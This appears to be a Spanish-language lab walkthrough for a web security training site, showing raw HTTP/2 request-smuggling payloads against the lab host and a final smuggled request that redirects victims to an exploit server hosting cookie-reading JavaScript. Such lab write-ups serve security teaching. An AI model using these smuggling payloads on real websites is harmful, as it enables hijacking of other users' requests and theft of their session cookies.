b0ysie7e

Appearance

20260210002553.png

LAB ​

Primero se validara cada el sitio web es vulnerable contra un http request smuggling. Para ello primero construiremos nuestra solicitud maliciosa y generando un error 404

c
POST / HTTP/2
Host: 0a7f00bd04acc5a8800617b400510085.web-security-academy.net
Content-Length: 6

x=test
GET /404 HTTP/1.1
X-Ignore: X

20260210004637.png

Otra manera para poder construir y generar nuestra solicitud maliciosa es:

c
POST / HTTP/2
Host: 0a7f00bd04acc5a8800617b400510085.web-security-academy.net
Content-Length: 6
Transfer-Encoding: chucked

x=test
GET /404 HTTP/1.1
X-Ignore: X

20260210004735.png

Otra manera.

c
POST / HTTP/2
Host: 0a7f00bd04acc5a8800617b400510085.web-security-academy.net
Content-Length: 8
Transfer-Encoding: chucked

x=test
POST /404 HTTP/1.1
X-Ignore: x
Content-Length: 10

x=testing

20260210010002.png

Una vez validada que es vulnerable a http request smuggling, observamos un comportamiento en el recurso /resources, que existe una redirección.

20260210010520.png

Al enviar en nuestra solicitud smuggling podemos ver que este también es redirigida.

20260210011253.png

Así mismo, al cambiar el dominio, este redirige al dominio que nosotros podamos ingresar.

20260210011331.png

Ahora, haciendo uso del exploit server podemos insertar en el body un alert(document.cookie).

20260210011737.png

Ahora podemos insertar nuestro dominio del exploit server, para poder redirigir a nuestro dominio malicioso y luego que la victima ejecute el js que esta en nuestro dominio.

20260210011754.png

c
POST / HTTP/2
Host: 0a7f00bd04acc5a8800617b400510085.web-security-academy.net
Content-Length: 8
Transfer-Encoding: chucked

x=test
GET /resources HTTP/1.1
Host: exploit-0a89003f04f7c5da8051160b01d200e6.exploit-server.net
Content-Length: 10

x=testing

Para poder solucionar, debemos de corregir en nuestro exploit server deContent-Type: application/javascript; charset=utf-8 a Content-Type: text/javascript; charset=utf-8.

20260210011946.png